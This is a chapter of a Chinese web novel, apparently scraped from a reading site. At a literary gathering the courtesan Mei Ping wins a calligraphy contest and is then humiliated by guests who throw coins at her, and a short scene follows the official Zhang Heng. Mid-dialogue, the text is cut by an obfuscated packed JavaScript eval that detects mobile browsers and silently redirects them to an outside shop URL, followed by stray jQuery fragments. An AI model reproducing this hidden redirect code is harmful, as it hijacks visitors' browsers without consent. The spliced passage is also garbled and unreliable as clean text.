62. 扬名
作品:《夫君排队进火葬场了吗》 “梅女史不愧是伶中大夫,难怪有梅校书之雅称。听闻梅女史写的一笔好字,人见人叹,不知我等可有幸拜赏?”
梅萍看向这位头戴翠冠的女子,知晓她恐怕来者不善,“娘子想看,梅萍莫敢不从,只是怕扰了诸位贤达的雅兴。”
这女子正是徐阁老最宠爱的孙女,她给身边的丫鬟使了个眼色,那丫鬟便从屏风后走了出来,“既是雅集,自然有雅集的玩法,我们小姐说了,不如在座各位都写一副字,并不署名,评出个高下优劣来!如何?”
萧令仪见状,向紫苏招了招手,紫苏凑过来,她耳语了几句,紫苏便点点头,带着书笈离开了。
“我觉得不错,”徐阁老认出这是自家孙女的丫鬟,他捻了捻胡须,看向左右两边的福王和林山长,“王爷,真长,你们觉得呢?”
林山长善书也爱书,自是点头。福王则噙着笑,他本该恼的,毕竟今日是他为梅萍攒的雅集,这徐阁老的孙女不懂事,徐阁老还不懂事吗?
不过说不得男人也是慕强的,若非如此,绝色美人那样多,他为何最近总抓着梅萍不放呢?他也想看看梅萍比之如何,可莫要让他失望啊!福王颔首,“甚好。”
既如此,旁人自是赞成,连梅萍也不好说什么了,一丫鬟恰凑上来与她耳语几句,她笑了笑,“既如此,就恭敬不如从命了,还请各位在桂花纸上留赐墨宝。”
两旁的丫鬟们捧着纸分派,像王爷公主以及阁老山长之流,自然是不会参与这种比字游戏的,一是因为他们早已不需要靠这种方式来提高地位名声,再者,万一比不过呢?岂不是晚节不保?故而这会子都让给年轻人玩了。
“桂花纸?”林山长不赐墨宝,却仍是抽了一张纸,似乎对这纸颇为感兴趣,其他拿到纸张的人,也纷纷看起来。
“倒是比寻常纸厚一些。”
“上头这画的是什么?”
“好似是嵌进去的,还有桂花香呢!”
其他人也闻了闻,没想到这纸还有花香,倒是精致非常。
梅萍檀口轻启,“这是我在寸心斋购的桂花纸,王爷送我的笺也是来自这寸心斋。聊将秋色摅尺素,敢教木樨写霜天,各位请吧!”
丫鬟在列席的每一位面前都作了停留,连严瑜和萧令仪也派了纸。
众人都提笔写了起来,林山长虽不落笔,却在座中转来绕去,这看看,那瞧瞧,仿佛他还在书院中巡绰监试一般。
“诗不错,你这字还要练练。”林山长站在一少年身旁,那少年恭敬道是,他又转至下一个人处点评。
直至严瑜身旁,林山长站的有些久了,打量他,“字不错,在哪家书院攻学啊?”
严瑜恰好写完,搁笔拱手敬道:“晚生愚钝,才抵京师,尚未有缘得列京中书院门墙,实在惭愧。”
林山长又细细瞧了瞧他的字,没说什么,转身又去瞧别人了。
萧令仪也写了一首诗,待笔墨干后,交了上去。
至于品评,自然是由王爷这些没有参与的位高年长者来。几人一致选了几张优异的出来。
“这幅字不错,虽着力还不够,但奇矫凌厉初见端倪,想来再练一练便颇有刚健之气,以气势取胜。”
“这副才好,俊逸且有力,笔走龙蛇却锋芒暗敛,已至精光老成,不比我们这些练了几十年的老叟差,以练达取胜。”
“我看这副最好,气柔而质坚,笔力雄浑而风韵高迈,颇有林下之风,以风度取胜。”
“哈哈哈哈,我看这副也颇有意趣,虽跳脱却又圆融和谐,以童心取胜。”
这几副字,各有各的长处,几人挑来选去,若论行卷著书,自然是这以练达取胜的最好,但今日是雅集文会,几人最后便选了这以风度取胜的。
梅萍的丫鬟便笑着一一禀报,“这以气势取胜的,是徐小姐墨宝,以练达取胜的,是石公子旁边那个穿月白衣裳的公子,以童心取胜的,则是苏二公子,至于这以风度取胜的,便是我们姑娘的字了。”
那便是梅萍梅校书胜了,一时间众人纷纷赞她。
“不愧是梅校书,当得校书之名!”
“可堪大家可堪大家啊!”
......
丫鬟们捧着几副字,在众人面前轮流展过一圈,徐大小姐看着梅萍那副字,神色淡淡,什么也没说。
福王得意非常,今日目的已达到,梅萍之才让他十分有颜面。他吩咐人收好这副字,“剩下的便由阁老处置吧。”
徐阁老倒没有自家孙女那样,非要得第一的心,毕竟文无第一,在座可不都是石衙内那样的酒囊饭袋,孙女能在这么多人中脱颖而出,他面上也有光,“剩下的几副字,便裱了挂在我这暗香坞里,如何啊?”
许多文人雅士都会借这暗香坞宴乐,能挂在这里自然免不了会被人评赏,这是极好的事,尤其严瑜这种想求取功名的,苏二公子和严瑜都起身揖礼,“相公厚爱,晚生汗颜。”
忽然,徐小姐的丫鬟又站了出来,往桥上抛了个钱袋子,大声道:“我们小姐说了,梅女史有咏絮之才,既得了第一,这银子便赏你了!”
那钱袋子正打在梅萍的琵琶上,铮铮作响,这一刻她面上仿佛有什么裂开了。
见徐小姐扔了钱袋子,又有几个贵妇也跟着扔了银稞子,金戒指之类的,而男宾中,有人是做惯了这种扔银子打赏的,一时之间纷纷抛了上去,有的打在梅萍身上,头上,甚至还有支钗子差点划了她脸。
她只能生受着,面上要维持优雅得体的笑容。
萧令仪担忧地望着她。
有纨绔子弟笑叫道:“既然受了赏,怎么不再来一曲?”
梅萍站起身,自有丫鬟收拾那些金银,“再来一曲,岂不耽误了香校书为各位联诗助兴?奴家先行告退更衣了。”
说完不再理会众人,那纱幔放下,隐约便见她离开了。
虽说文人总说自己爱那风雅的,但其实骨子里也爱妖艳多姿,这香校书不仅善诗善舞,还能边舞边画,更是生了一副令人心荡神摇的妖冶面容,梅校书走了,还有一个更曼妙的香校书,他们也乐见其成。
趁众人都在期待香校书,一丫鬟悄悄上前,在萧令仪耳边传话,萧令仪便带着紫苏往后头去了。
丫鬟引她们进了方才抄手游廊旁的一间房中,“请。”
萧令仪进了屋,见梅萍坐在妆镜前,身上已经换了一套衣裳,正重新梳理自己的发。
“你......可还好?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027259|190868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”萧令仪犹豫道。
梅萍对着镜中的她淡笑,“有什么好不好的,”
指着旁边的一堆金银首饰,“萧娘子自取吧。”
是方才那些人抛的,萧令仪摇头,“这是你的辛苦钱。”
梅萍将一缕发放下来,“拿着吧,今日那桂花纸恐怕也要费不少银子。”
萧令仪仍是拒绝,“你帮我的铺子扬名,我日后也能赚更多,桂花纸也是我应出的。”
梅萍将那一缕发绑好,回过身看她,“你不要,这些拿回去十之八九都要上交给假母,她只会拿了这些钱,然后不知从什么地方,弄来更多漂亮伶俐的姑娘,调教这些姑娘,不停地伺候不同的男人。”
梅萍在里头挑拣,专挑了那些没有制式花样的金银稞子,全装进钱袋子里,握住萧令仪的手,将钱袋子按上去,“你别嫌这钱脏,你拿了这钱,将来若遇着无家可依的女孩子,帮衬一二,也算了了我一番心意,对得起儿时的自己。”
她自己当然也有私房钱,但是假母永远都会紧紧盯着她们,在假母心中,那不过是“暂放”在她们这些粉头手里罢了。
萧令仪胸中有些发堵,收下了那个颇重的钱袋子。
梅萍笑笑,“走吧,不如去闻香台那处画像。”
两人便带着丫鬟去了闻香台。
不用萧令仪指挥,梅萍知晓自己何种姿态最美,她身后是雾霰飘飞,没有梅花的梅树枯枝掩映其中,她身上并着妩媚与清寒,仿佛梅林中有梅花成了精,化作女子之身来了人间。
“此时没有梅花,还请萧娘子届时替我在背后的枯枝上点几朵。”
萧令仪点点头,开始认真画起来。
......
“章大人,好好的重阳休沐,你这是......要去衙署?”沈时中实在好奇,他们这点俸禄,值得这么拼吗?
章珩只冷着脸对他略点头。
“唉!浮生偷得一日闲啊!我要去西山暗香坞接我夫人了,她听说上回为庆阳郡主画像的画师也要赴席,还说要求一副画像呢!”沈时中是故意说给他听的,不过倒也没说谎,他夫人爱俏,他又不会画什么劳什子像,让他画个王八还差不多!
这画师嘛,要么是男子,要么是大门不出二门不迈的闺秀,现下有个能为女子画像的女画师,连郡主都画过了,他夫人画一画怎么了?
“不多说了,我此时赶去,还能与我夫人登一登山顶,告辞!”沈时中拱手,便打马跑远了。
章珩继续往衙署走,待行至衙署门首,一只脚才要跨过门槛,他问身旁阿大:“今日是重阳?重阳要做什么?”
阿大以为大爷在考校他,立刻便道:“回爷,重阳要戴茱萸、吃菊花酒、吃重阳糕、还要送礼、赏菊、赋诗。”
他看着阿大,“还有吗?”
“哦对!还有骑马、狩猎、射箭、祈福、登高,我听说南边儿还要接女儿回娘家小聚的。”
章珩点点头,“正是,重阳要登高。”
他转道去了衙署的马厩,从里头牵出马,便立刻打马走了。
阿大追不及,“哎哎哎~大爷,您去哪啊?!”
只有马蹄踏起的烟尘回答他。
......

